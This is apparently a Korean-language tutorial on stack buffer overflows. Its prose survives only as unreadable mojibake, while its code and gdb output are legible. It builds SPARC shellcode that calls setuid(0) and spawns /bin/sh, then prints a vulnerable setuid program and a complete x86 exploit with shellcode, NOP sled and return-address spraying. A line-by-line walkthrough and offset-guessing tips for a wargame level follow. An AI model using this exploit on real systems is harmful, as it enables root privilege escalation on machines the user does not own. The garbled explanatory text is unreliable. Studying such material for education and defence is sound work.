ÀÌ°ÍÀ¸·Î seed°¡ ¿Ï¼ºÀÌ µÇ¾ú´ÂÁö Å×½ºÆ® Çغ¸±â·Î ÇÑ´Ù. À§ ÇÁ·Î±×·¥À» as ¹× gcc¸¦ ÀÌ¿ëÇÏ¿© ±¸µ¿ÇÏ·Á ÇÒ ¶§, mainÀ̶ó´Â labelÀÌ ¾øÀ¸¸é, ½ÇÇàÀÌ Àß ¾ÈµÇ¹Ç·Î, ¸Ç À§¿¡ mainÀ» ¼±¾ðÇÏ´Â ºÎºÐÀ» Ãß°¡ÇØ¾ß ÇÑ´Ù. Ãß°¡ÇÏ°í ³ª¸é ´ÙÀ½°ú °°´Ù. (½ÇÁ¦·Î mainÀ̶ó´Â lebelÀº ½ÇÇàÀ» À§ÇÑ °ÍÀ̹ǷÎ, ½ÇÁ¦ overflow Äڵ忡´Â µé¾î°¥ ÇÊ¿ä°¡ ¾ø´Ù) .global main main: sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 ÀÌ°ÍÀ» as ¹× gcc¸¦ ÅëÇؼ­ ½ÇÇàÇغ¸µµ·Ï ÇÑ´Ù. % as s.asm -o new.o % gcc new.o % a.out $ ShellÀÌ ¶¹´Ù(!).. ÀÌÁ¦ ÀÌ°ÍÀ» ÀÌ¿ëÇÏ¿© ½ÇÁ¦·Î Çغ¸·Á°í Çϴµ¥, ¿ì¸®ÀÇ "º¸¾Æ´Ï"°¡ ³ª¸¦ ºÙÀâ´Â´Ù. seed ÄÚµå ³»¿¡ 0 ¶ó´Â °ªÀÌ µé¾î°¡°Ô µÇ¸é strcpy()¿¡ ÀÇÇؼ­ ½ºÆ®¸µÀÌ º¹»çµÉ ¶§ 0°¡ ³¢ÀÎ ÀÚ¸®¿¡¼­ º¹»ç¸¦ ¸¶Ä¡°Ô µÇ´Â ¼ö°¡ ÀÖ´Ù´Â °ÍÀÌ´Ù. 0°¡ ³¢ÀÌ¸é ¿ì¸®°¡ »ý°¢¸øÇÑ ¾û¶×ÇÑ °á°ú¸¦ °¡Á®¿À°Ô µÉ ¼öµµ ÀÖ´Â °ÍÀÌ´Ù. ±×·¯¸é À§ÀÇ Äڵ忡 0°¡ ³¢¾îÀÖ´ÂÁö gdb¸¦ ÅëÇؼ­ »ìÆ캸µµ·Ï ÇÑ´Ù. (gdb) disassemble main Dump of assembler code for function main: 0x10638
: sethi %hi(0x2f626800), %l6 0x1063c : or %l6, 0x16e, %l6 ! 0x2f62696e <_end+794845546> 0x10640 : sethi %hi(0x2f736800), %l7 0x10644 : and %sp, %sp, %o0 0x10648 : add %sp, 8, %o1 0x1064c : xor %o2, %o2, %o2 0x10650 : add %sp, 0x10, %sp 0x10654 : std %l6, [ %sp + -16 ] 0x10658 : st %sp, [ %sp + -8 ] 0x1065c : clr [ %sp + -4 ] 0x10660 : xor %l3, %l3, %l3 0x10664 : inc %l3 0x10668 : mov 0x3b, %g1 0x1066c : ta 8 End of assembler dump. ¸ÕÀú disassemble mainÀ» Çغ¸´Ï ½ÃÀÛ ÁÖ¼Ò°¡ 0x10638ÀÌ´Ù. ÀÌ°÷ ³»¿ëÀ» 4byte¾¿ ²÷¾î¼­ ½ÇÁ¦ °¢°¢ÀÇ byte³»¿ëÀ» »ìÆ캸¸é ´ÙÀ½°ú °°´Ù. Àá±ñ ¾Æ·¡¿¡ ta¸¦ ºÎ¸£±â Àü ºÎºÐ¿¡ xor %l3, %l3, %l3 ¹× inc %l3°¡ Ãß°¡µÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÀÌ°ÍÀº ½ÇÁ¦·Î ÇÊ¿äÇÑ °ÍÀ¸·Î À̹ø ºÐ¼®ÀÌÈÄ seed ÇÁ·Î±×·¥ ³»ºÎ¿¡ ³Ö¾îÁÖµµ·Ï ÇÑ´Ù. (gdb) x/wx 0x10638 0x10638
: 0x2d0bd89a (gdb) 0x1063c : 0xac15a16e (gdb) 0x10640 : 0x2f0bdcda (gdb) 0x10644 : 0x900b800e (gdb) 0x10648 : 0x9203a008 (gdb) 0x1064c : 0x941a800a (gdb) 0x10650 : 0x9c03a010 (gdb) 0x10654 : 0xec3bbff0 (gdb) 0x10658 : 0xdc23bff8 (gdb) 0x1065c : 0xc023bffc (gdb) 0x10660 : 0xa61cc013 (gdb) 0x10664 : 0xa604e001 (gdb) 0x10668 : 0x8210203b (gdb) 0x1066c : 0x91d02008 (gdb) Áß°£¿¡ 0ÀÌ ¸¹ÀÌ ³¢¾ú´Ù°í °ÆÁ¤ÇÒ ÇÊ¿ä´Â ¾ø´Ù. ÇÑ byte´Â À§¿¡¼­ µÎ ÀÚ¸®¾¿À» °¡Áö¹Ç·Î, µÎÀÚ¸®¾¿À» ²÷¾î¼­ º¸¸é 00ÀÎ °ÍÀº ¾Æ¹«°Íµµ ¾ø´Ù. ´ÙÇàÀÌ´Ù(!). 0 ³¢¸® ºÙÀº °ÍÀÌ °£È¤ ÀÖÁö¸¸, µÎÀÚ¸®¾¿ ¦¼ö´ÜÀ§·Î ²÷¾îÁö¹Ç·Î, ¼­·Î ¿¬°áµÈ °ÍÀÌ ¾Æ´Ï´Ù. ÀÌÁ¦ ÀÌ°ÍÀ» ½ÇÁ¦·Î overflow½ÃÄѼ­ ½ÇÇàÇغ¸µµ·Ï ÇÑ´Ù. ±×·±µ¥ À̰͸¸ °¡Áö°í´Â setuid°¡ ºÙÀº ÇÁ·Î±×·¥ÀÇ setuid¸¦ Áö¼Ó½Ãų¼ö ¾ø½À´Ï´Ù. ±×·¡¼­ ÀÌ·¸°Ô ÇÕ´Ï´Ù ºÐ¸íÈ÷ setuid°¡ ºÙ¾îÀֱ⠶§¹®¿¡, root shellÀÌ ¶°¾ßÇÒ °ÍÀε¥, $°¡ ¶¹´Ù. ÀÌ°ÍÀº setuid¿¡ ½ÇÆÐÇÑ °ÍÀΰ¡, ¾Æ´Ï¸é rloginÀÚü¿¡¼­ ÀÌ°ÍÀ» ¹æÁöÇÏ°í ÀÖ´Â °ÍÀΰ¡, Àǹ®ÀÌ »ý±âÁö ¾ÊÀ» ¼ö ¾ø´Ù. ÇÊÀÚµµ ÀÌ "$"¿¡ ´ëÇؼ­ ¾öû³ª°Ô °í½ÉÀ» Çß¾ú´Ù. ±×·¯³ª, ³ªÁß¿¡¼­¾ß ±× Àǹ®ÀÌ Ç®·È´Ù. ±× ¿øÀÎÀº setuid¸¦ ÇÏÁö ¾ÊÀº µ¥ ÀÖ¾ú´Ù. ÇÊÀÚ´Â °í½É ³¡¿¡ setuid(0); ¶ó´Â Äڵ带 ¸¸µé¾î ³Ö±â¿¡ À̸£·¶´Ù. ÀÌÁ¦ ºÎÅÍ ÀÏ»çõ¸®ÀÌ´Ù. ÀÌÀüÈ£³ª À̹ø ±ÛÀ» Á¦´ë·Î ÀÐÁö ¾Ê¾Ò´Ù¸é Á¶±ÝÀº ÀÌÇØÇϱâ Èûµé ¼öµµ ÀÖ´Ù. ´ÙÀ½ÀÇ ÀÏ·ÃÀÇ °úÁ¤Àº ½ÇÁ¦ »óȲÀÌ´Ù. ---------(*) % cat > setuid.c #include #include void main(void) { setuid(0); } % gcc -g -static setuid.c % gdb a.out (gdb) disassemble main ^^^^^^^^^^^^^^^ Dump of assembler code for function main: 0x10150
: save %sp, -112, %sp 0x10154 : clr %o0 0x10158 : call 0x1022c <_setuid> 0x1015c : nop 0x10160 :ret 0x10164 : restore End of assembler dump. (gdb) disassemble_setuid ^^^^^^^^^^^^^^^^^^^ Dump of assembler code for function _setuid: 0x1022c <_setuid>: mov 0x17, %g1 0x10230 <_setuid+4>: ta 8 0x10234 <_setuid+8>: bcc 0x10248 <_setuid+28> 0x10238 <_setuid+12>:sethi %hi(0x10000), %o5 0x1023c <_setuid+16>: or %o5, 0x268, %o5 ! 0x10268 <_cerror> 0x10240 <_setuid+20>: jmp %o5 0x10244 <_setuid+24>:nop 0x10248 <_setuid+28>: retl 0x1024c <_setuid+32>: mov %g0,%o0 End of assembler dump. (gdb) --------(*) gdb³»¿¡¼­ÀÇ Å°ÀÎ ÇÑ °ÍÀº "^^^^"·Î ³ªÅ¸³»¾ú´Ù. ¿©±â¿¡¼­ ¾Ë¾Æ³»°íÀÚ ÇÏ´Â °ÍÀº ¹Ù·Î setuid(0); ÀÇ assembly ¾Æ´Ï machine codeÀÌ´Ù. ¿©±â¿¡¼­ º»Áï setuid(0); ¿¡¼­ 0¸¦ ´ã´çÇÏ°í ÀÖ´Â °ÍÀº %o0ÀÌ´Ù. ¾Õ¿¡¼­µµ ºÃµíÀÌ %o0, %o1.. µîÀÌ ÇÔ¼öÀÇ ÀÎÀÚ·Î ¸¹ÀÌ µé¾î°£´Ù. %o0¸¦ clrÇÑ °ÍÀº %o0¿¡ 0À» ³Ö´Â´Ù´Â ÀǹÌÀÌ´Ù. ±×¸®°í ³ª¼­ _setuid¸¦ ºÒ·¶´Âµ¥, _setuid¸¦ »ìÆ캸´Ï mov 0x17, %g1°ú ta 8·Î setuid()¸¦ callÇÏ°í ÀÖ´Ù. ÀÌÁ¦ ÀÌ°ÍÀ» machine code·Î »Ì¾Æ³»±â¸¸ ÇÏ¸é µÇ´Âµ¥. --------(*) (gdb) x/wx 0x10154 0x10154 : 0x90102000 (gdb) x/wx 0x1022c 0x1022c <_setuid>: 0x82102017 (gdb) 0x10230 <_setuid+4>: 0x91d02008 (gdb) --------(*) °¢°¢ÀÇ machine code¸¦ º¸´Ï, clr %o0°¡ Áß°£¿¡ 000 ÀÌ ¼¼°³³ª ºÙ¾îÀÖ´Ù. µÚÀÇ µÎ°³ÀÇ 0Àº ºÙ¾î¼­ '\0'À̶ó´Â ÇϳªÀÇ Ä³¸¯ÅÍ·Î ÀÛ¿ëÀ» ÇÏ°Ô µÇ¹Ç·Î, ÀÌ°ÍÀº SEED·Î½áÀÇ ÀÚ°ÝÀÌ ¾ø´Ù. ¶ÇÇÑ ta 8 À» ÇÒ¶§ Áö³­ ¹ø¿¡ xor %l3, %l3, %l3 ¹× inc %l3¸¦ ÇÑ °ÍÀ» ±â¾ïÇÒ °ÍÀÌ´Ù. ÀÌ°Í ¶ÇÇÑ ºüÁ®¼­´Â ¾ÈµÇ¸ç, clr %o0¸¦ xor %l3, %l3, %l3 ¿¡´Ù°¡ and %l3, %l3, %o0·Î ´ëüÇϱâ·Î ÇÑ´Ù. ±×·¯¸é À̵é code¸¦ ½ÇÁ¦·Î assembly·Î ¸¸µé¾î¼­ ÄÄÆÄÀÏ Çغ¸µµ·Ï ÇÑ´Ù. -------(*) .global main main: xor %l3, %l3, %l3 and %l3, %l3, %o0 inc %l3 mov 0x17, %g1 ta 8 --------(*) À§ÀÇ assembly code´Â setuid(0); ¸¦ ¼öÇàÇÒ ¼ö ÀÖ´Â °ÍÀÌ´Ù. ÀÌ°ÍÀ» ÄÄÆÄÀÏ ÇÏ¿© gdb·Î ½ÇÁ¦ ³»¿ëÀ» È®ÀÎÇϵµ·Ï ÇÑ´Ù. ---------(*) % as test.a -o test.o % gcc test.o % gdb a.out (gdb) disassemble main ^^^^^^^^^^^^^^^ Dump of assembler code for function main: 0x10638
: xor %l3, %l3, %l3 0x1063c : and %l3, %l3, %o0 0x10640 : inc %l3 0x10644 : mov 0x17, %g1 0x10648 : ta 8 End of assembler dump. (gdb) x/wx main ^^^^^^^^^ 0x10638
: 0xa61cc013 (gdb) 0x1063c : 0x900cc013 (gdb) 0x10640 : 0xa604e001 (gdb) 0x10644 : 0x82102017 (gdb) 0x10648 : 0x91d02008 (gdb) ---------(*) ½ÇÁ¦·Î ÄÄÆÄÀÏÇÏ¿© gdb·Î µ¹¸° ÈÄ¿¡ À̵éÀÇ machine code¸¦ »Ì¾Æ³»¾ú´Ù. À̵éÀÇ ÀÏ·ÃÀÇ °úÁ¤ÀÌ ºÒ¸íÈ® °æ¿ì¿¡´Â ÀÌÀüÈ£¸¦ ÀÚ¼¼È÷ ÀоîÁֱ⠹ٶõ´Ù. ÀÌÁ¦ À§ÀÇ code¸¦ ¾Õ¿¡ ¸¸µé¾ú´ø seed code À­ºÎºÐ¿¡ µ¤¾î¼­ ³Öµµ·Ï ÇÑ´Ù. ±×·¡¼­ ¸¸µé¾îÁø seedÄÚµå´Â ´ÙÀ½°ú °°´Ù. ---------(*) /* seed code */ u_char seed[] = /* Ãß°¡µÈ ºÎºÐ */ "\xa6\x1c\xc0\x13" "\x90\x0c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x17" "\x91\xd0\x20\x08" /* ¿ø·¡ ºÎºÐ */ "\x2d\x0b\xd8\x9a" "\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08" "\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10" "\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc" "\xa6\x1c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x3b" "\x91\xd0\x20\x08" ; ---------(*) --------------------------------------ÀοëÀÌ ³¡³µ½À´Ï´Ù.---------------------¡¡ ÀÚ ÀÌÁ¦ ¾Æ½Ã°ÚÁÒ? ±×·³ ½ÇÁúÀûÀÎ ¼Ò½º¸¦ º¸¿©µå¸®°Ú½À´Ï´Ù. ¸ÕÀú º¸¾È»ó bof¿¡ ´çÇÒ¼ö ÀÖ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù. ½ÇÁ¦·Î Çѹø ¶È°°ÀÌ ¸¸µé¾îº¸¼¼¿© ------------------bof.c------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ±×´ÙÀ½ ÀÌ ÇÁ·Î±×·¥¿¡ setuid bit¸¦ ÁÖ¼¼¿©. ´ÙÀ½ ÀÌ ÇÁ·Î±×·¥À» °ø°ÝÇÏ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù. -----------------exploit1.c------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; execl("./bof","bof", buff, NULL); } ÀÚ ÀÌ°ÍÀÌ ¿À¹öÇ÷ο츦 °ø°ÝÇÏ´Â ¼Ò½ºÀÔ´Ï´Ù. ±×·³ ¼Ò½º¿¡ ´ëÇÑ ºÐ¼®À» ÇÏÁÒ!. #include // ¿ì¼± Çì´õ Æ÷ÇÔÀº ¼³¸í¾ÈÇصµ µÇÁÒ? #define DEFAULT_OFFSET 0 // ¿ÀÇÁ¼ÂÀÌ ÁöÁ¤ÀÌ ¾ÈµÈ´Ù¸é ÀÌ °ªÀ» »ç¿ëÇÕ´Ï´Ù. #define DEFAULT_BUFFER_SIZE 512 // ¹öÆÛ»çÀÌÁî°¡ ÁöÁ¤ÀÌ ¾ÈµÈ´Ù¸é ÀÌ °ªÀ» »ç¿ëÇÕ´Ï´Ù. #define NOP 0x90 // ¾Õ¿¡¼­ ¼³¸íÇÑ 0000ºÎºÐÀ» ÀÌ°ÍÀ¸·Î ä¿ì´Â °ÍÀÔ´Ï´Ù. ÀÌ°ÍÀ¸·Î ä¿ì¸é // Á¤¸» ¾Æ¹«°Íµµ ¾Æ´Ñ ±×³É °øÇãÇÑ»óÅ°¡ µÇ´Â°ÍÀ̰ŵ翩.¸Þ¸ð¸®¸¸ ä¿ì°í...^^ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; // ¾Æ±î ¸¸µç ¼ÐÄÚµåÀÔ´Ï´Ù. ÀÌÇØ´Â ÇϼÌÁÒ? unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } // Á¤¸» Áß¿äÇÑ ÇÔ¼öÀÔ´Ï´Ù. ÀÌ ÇÔ¼ö´Â ÇöÀç sp ·¹Áö½ºÅÍÀÇ °ªÀ» ±¸ÇØÁÝ´Ï´Ù. // ±×·¯´Ï±î ÀÌ°É ÀÌ¿ëÇؼ­ ¼ÐÄڵ尡 ÀúÀåµÇÀִ°÷ÀÇ ÁÖ¼Ò¸¦ ÁöÁ¤ÇÒ¼ö Àִ°ÍÀÌÁÒ. void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; // ¿©·¯ °¡Áö Æ÷ÀÎÅͺ¯¼ö¿Í º¯¼ö¸¦ ÁöÁ¤ÇÕ´Ï´Ù. »ç¿ëÀº µÚ¿¡¼­ ¼³¸íµÇ°ÚÁÒ if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); // ./exploit [1] [2] ÀÌ·¸°Ô ½ÇÇàÀ» ÇÑ´Ù¸é argv[1]Àº [1]ÀÇ °ªÀ» ¹Þ¾ÆµéÀÌ´Â °ÍÀÌ°í // argv[2]´Â [2]ÀÇ °ªÀ» ¹Þ¾ÆµéÀÌ´Â °ÍÀÔ´Ï´Ù. if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } // ¿ì¸®°¡ ÁöÁ¤ÇØÁØ »çÀÌÁŭ ¸Þ¸ð¸® ¿µ¿ªÀ» ÇÒ´çÇÕ´Ï´Ù. // [nop nop nop][shell shell shell][ret ret ret] // |----------------------------------| -> À̸¸Å­À» ¿ì¸®°¡ Âï¾î¼­(^^) ÁöÁ¤ÇØ¾ß ÇÏ// ´Â°ÍÀÌÁÒ. ¾Õ¿¡¼­ ¸»ÇßµçÀÌ Ã¹ ¹ø° º¯¼ö¸¦ ÀÌ°ÍÀ¸·Î »ç¿ëÇÏ¿´ÁÒ? // ±×·¸´Ù¸é ù ¹ø° º¯¼ö´Â ¿À¹öÇ÷ο찡 ÀϾ´Â ÃÖÃÊÀÇ Å©±â°ªÀÌ µÉ²®´Ï´Ù. ¾Æ½Ã°ÚÁ®? addr = get_sp() - offset; // ÀÌ°ÍÀº µÎ ¹ø° º¯¼ö¸¦ »ç¿ëÇ߳׿©. ¿ì¼± Áö±Ý sp¸¦ ¹ÞÀ¸¸é get_sp()ÀÇ sp°ªÀϲ®´Ï´Ù. // ¿ì¼± ¿©±â¼­ 112 ¾Õ¿¡´Â main()ÇÔ¼ö°¡ Àִ°ÍÀÔ´Ï´Ù. ¿Ö³ÄÇϸé ÇÔ¼ö1°³´ç 112°¡ ±âº» // ÀûÀÎ ¸Þ¸ð¸®·Î ÁöÁ¤ÀÌ µÇ°í ±×´ÙÀ½ ¿ì¸®°¡ ¿äûÇÑ ¸Þ¸ð¸®°¡ ´õÇØÁö´Â°ÍÀÌÁÒ. // ÇÏÁö¸¸ get_sp() ÇÔ¼ö´Â charÇüÀ̳ª integerÇü..µîµî ¾î¶²°Íµµ ¸Þ¸ð¸®¸¦ ´Þ¶ó°í ¾ÈÇßÀ¸´Ï // ±âº»ÀûÀ¸·Î 112°ª¸¸ °¡Áø°ÍÀÌÁÒ. ¿ì¼± ±×°ÍÀº ½Å°æ¾µ²¨ ¾ø±¸¿©... ¿ì¸®´Â ±×³É ¾Æ¹«°ªÀ̳ª // Âï¾îÁÖ¸é µÇ´Â°ÍÀÌÁÒ. ±×°ÍÀ» Æ÷ÀÎÅÍ º¯¼öÀÎ addr¿¡ ÀúÀåÇÕ´Ï´Ù. printf("Using address: 0x%x\n", addr); // ±×·¯°í ³ª¼­ ¿ì¸®°¡ ÀÌ°÷ÀÌ ¼ÐÄڵ尡 ÀÖ´Â ºÎºÐÀÌ´Ù..!! ÇÏ´Â °ÍÀ» ¾îµð¿¡ Çß´ÂÁö º¸¿©ÁÝ// ´Ï´Ù. ptr = buff; // ±×¸®°í ³ª¼­ ptrÀ̶ó´Â Æ÷ÀÎÅͺ¯¼ö¿¡´Â ¾Æ±î ¿ì¸®°¡ ¸Þ¸ð¸®¸¦ Àâ¾Ò´ø buffÀÇ Ã¹ ¹ø° Æ÷// ÀÎÆ® °ªÀ» °¡Áý´Ï´Ù. Áï |À̺κÐ|nnnnnnnnsssssssssrrrrrrrrrrrr| ±×·¯¸é ±× µÚ·Î´Â ÂÒ¸£¸¤ // buff Àüü°¡ Àִ°ÍÀ̴ϱ. addr_ptr = (long *) ptr; // ±×´ÙÀ½ ptrÀ» longÇüÀ¸·Î ¹Ù²ã¼­ addr_ptr¿¡ ÀúÀåÇß½À´Ï´Ù. ÀÌ°ÍÀº ¿ÖÀϱ? // ¹Ù·Î ret°¡ 4byteÇüÀ̱⠶§¹®ÀÔ´Ï´Ù. ±×·¡¼­ °°Àº 4byteÀÎ longÀ¸·Î ¹Ù²Û°ÍÀÌÁÒ. // ÀÌÇØ°¡ ¾ÈµÇ½Å´Ù±¸¿©. ¸¸¾à 2byte·Î ±×´ë·Î ³Ö¾ú´Ù°í Ä¡¸é |ÁÖ¼ÒÁÖ¼Ò| ÀÌ·¸°Ô ÁÖ¼Ò°¡2°³ // ÇÕÃÄÁ®¼­ µé¾î°¡°ÚÁÒ? ±×·³ ¸»±×´ë·Î 000x¶õ ÁÖ¼Ò¿´´Ù°í Ä¡¸é 000x000xÀÌ·¸°Ô ÀüÇô // ¾û¶×ÇÑ ÁÖ¼Ò°¡ µé¾î°¡°ÚÁÒ. µû¶ó¼­ longÇüÀ¸·Î ¹Ù²Û°ÍÀÔ´Ï´Ù. for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; // ÀÌ°ÍÀº buffÀüü¿¡ ¿ì¸®°¡ ¼ÐÄÚµå¶ó°í Âï¾î¼­(^^) ÁöÁ¤ÇÑ ºÎºÐÀÇ ÁÖ¼Ò°ªÀ» // ³Ö½À´Ï´Ù. 4byte¾¿ ²÷¾î¼­ ¸ÂÃß´Â °ÍÀÌ º¸ÀÌÁÒ? // ¿ì¼± Áö±ÝÀÇ ¸ð¾çÀº |RRRRRRRRRRRRRRRRRR| <- BUFF for (i = 0; i < bsize/2; i++) buff[i] = NOP; // ±×´ÙÀ½ ¾ÕÀÇ ¹ÝÀ» defineÀ¸·Î ÁöÁ¤ÇÑ NOPÀ¸·Î ä¿ó´Ï´Ù. // |NNNNNNNRRRRRRRRR| <-BUFF ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); // ±×´ÙÀ½ ÁÖ¼Ò°ªÀ» ¹Ù²Ù°í ÀÖÁÒ? ¾îµð³Ä¸é ¹Ù·Î BUFFÀÇ Ã³À½À§Ä¡(¾Õ¿¡¼­ ¸»ÇßÁÒ?)¿¡¼­ // °¡¿îµ¥ ºÎºÐ¿¡¼­ µÚ·Î ¼ÐÄÚµåÀÇ ±æÀ̸¸Å­ »«°÷ÀÔ´Ï´Ù. ±×·³ ÀÌ°÷ÀÌÁÒ!! // |NNNNN|*|RRRRRR| *ºÎºÐÀ¸·Î Æ÷ÀÎÅÍÀÇ À§Ä¡¸¦ ¹Ù²å½À´Ï´Ù. for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // ±×´ÙÀ½ ¼ÐÄڵ带 ¾Æ±î °Å±âºÎÅÍ ¼ÐÄÚµåÀÇ ±æÀ̸¸Å­ ÀúÀåÇÕ´Ï´Ù. // |NNNNNSSSSSRRRRRRR| <- BUFF buff[bsize - 1] = '\0'; // ¸¶Áö¸·¿¡´Â ³¡À» ¾Ë¸®´Â \0À» Áý¾î³Ö½À´Ï´Ù. execl("./bof","bof", buff, NULL); // ±×¸®°í ¾Æ±î ¹®Á¦°¡ ‰ç´ø ºÎºÐÀ» ½ÇÇà½Ãŵ´Ï´Ù. ¿ì¸®°¡ ÀÔ·ÂÇÑ Àüü º¯¼ö¸¦ ³Ö°í¿© } ÀÚ! °¨ÀÌ ÆÅÆÅ ¿À½ÃÁÒ? ÇØÄ¿Áî·¦ ·¹º§ 9 ´Ü°èµµ ÀÌ°Í°ú °°Àº ¼Ò½º¸¦ ½á¼­ Åë°úÇÒ¼ö ÀÖ½À´Ï´Ù. ¿©±â¼­ OFFSET°ú BUFF ÀÇ Å©±â¸¦ ÃßÃøÇÒ¼ö ¾ø³Ä°í Çϴµ¥¿©... ±×°Íº¸´Ü ±×³É Âï´Â°Ô ÆíÇÕ´Ï´Ù. ÀÌ·¸°Ô Çغ¸¼¼¿©. ¿ì¼± ¿É¼ÇÀ» 1°³¸¸ ³Ö½À´Ï´Ù. ./exploit 500 ÀÌ·±½ÄÀ¸·Î ±×·³ ÇÁ·Î±×·¥ÀÌ ±×³É ³¡³ª°ÚÁÒ. ./exploit 600 segmentation falt ÀÌ·¸°Ô µË´Ï´Ù. ±×·³ ¿ì¸° 600À» ³ÖÀ¸¸é µÇ´Â°ÍÀÔ´Ï´Ù. ±×´ÙÀ½ 2¹ø° º¯¼öÀÎ offset°ªÀº ¼Ð½ºÅ©¸³Æ®·Î Çؼ­ ÂÓ Ã£¾Æ³»¸é µÇ°ÚÁÒ. ÀÌ°Ô ÀúÀÇ ³ëÇÏ¿ì¶ó¸é ³ëÇÏ¿ìÀÔ´Ï´Ù. ÇÏÇÏÇÏ. ÀÌ ÇÁ·Î±×·¥¼³¸íÀ» ´Ù½Ã Àá±ñ ÇÏ°Ú½À´Ï´Ù. retºÎºÐÀ» Á¤È®È÷ ³¡¿¡ 4byte¸¸ ¾È³Ö´ÂÁö´Â ¾Æ½ÃÁÒ? ±×°É ¸¸¾à¿¡ ret±îÁö ³ÑÄ¡´Â °æ¿ì°¡ »ý°Üµµ ±× µÚ¿¡´Â Á¤È®È÷ ¶È°°Àº ÁÖ¼Ò°¡ ÀÖÀ¸´Ï ¾î´ÀÁ¤µµ±îÁö ¿ì¸®°¡ Âï´Â(^^) ¼ýÀÚ°¡ Ʋ·Áµµ Ä«¹ÙÇØÁÙ²¯À̶õ ¸»ÀÌÁÒ. ±×·¡¼­ 4byte´ÜÀ§·Î °è¼Ó ¶È°°Àº ÁÖ¼Ò¸¦ buffÀüü Å©±âÀÇ 1/2 À̳ª ä¿î°ÍÀÔ´Ï´Ù. ¾Æ½Ã°ÚÁÒ? ±×·³ ¿©±â±îÁö stack overflow °­Á¸¦ ¸¶Ä¡°Ú½À´Ï´Ù. ±×·³ ¸îÀÏ µÚ¿¡ heap overflow¸¦ °­ÁÂÇÏ°Ú½À´Ï´Ù.